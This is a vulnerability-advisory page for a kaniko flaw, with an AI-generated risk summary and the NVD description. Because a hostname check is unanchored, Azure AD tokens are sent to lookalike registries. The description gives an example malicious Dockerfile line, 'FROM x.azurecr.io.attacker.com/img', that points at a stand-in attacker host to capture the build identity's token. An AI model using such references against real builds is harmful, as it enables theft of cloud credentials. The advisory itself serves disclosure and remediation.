CVE-2026-105769

9.3 CRITICALpublic exploit available

Published 2026-11-02 · Updated 2026-11-02

AI risk analysis

Summary: kaniko before 1.25.20 incorrectly validates Azure Container Registry (ACR) hostnames using an unanchored regex, allowing an attacker to trick kaniko into sending Azure AD access tokens to a malicious registry that mimics ACR domains (e.g., x.azurecr.io.attacker.com), enabling full abuse of the build identity's Azure permissions.
Exploitability: Exploitation requires only a malicious FROM or COPY --from image reference in a Dockerfile and no authentication setup for the target registry; it is trivially exploitable by an attacker who controls the registry host.
Blast radius: An exploited build can leak Azure AD tokens, granting attackers full access to Azure Resource Manager with the identity's assigned roles and enabling lateral movement to any ACR the identity can access until token expiry.
Detection: No reliable host or network indicator is derivable from the published description.
Prioritized remediation: Upgrade kaniko to version 1.25.20 or later, which fixes the unanchored regex vulnerability in the Azure Container Registry credential helper.

token-leakazure-adacrcredential-theftcontainer-build

Analysis generated locally by garnet-coder (no data left the box). AI-assisted — verify against primary sources before acting.

NVD description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Weaknesses

CWE-346, CWE-522

Public exploit & PoC references

All references

Source data: NVD (nvd.nist.gov), public domain. Exploit-DB.ai adds local AI analysis for defensive use only.

Related CVEs

Related by shared AI tags and CWE weakness class. Browse the full archive.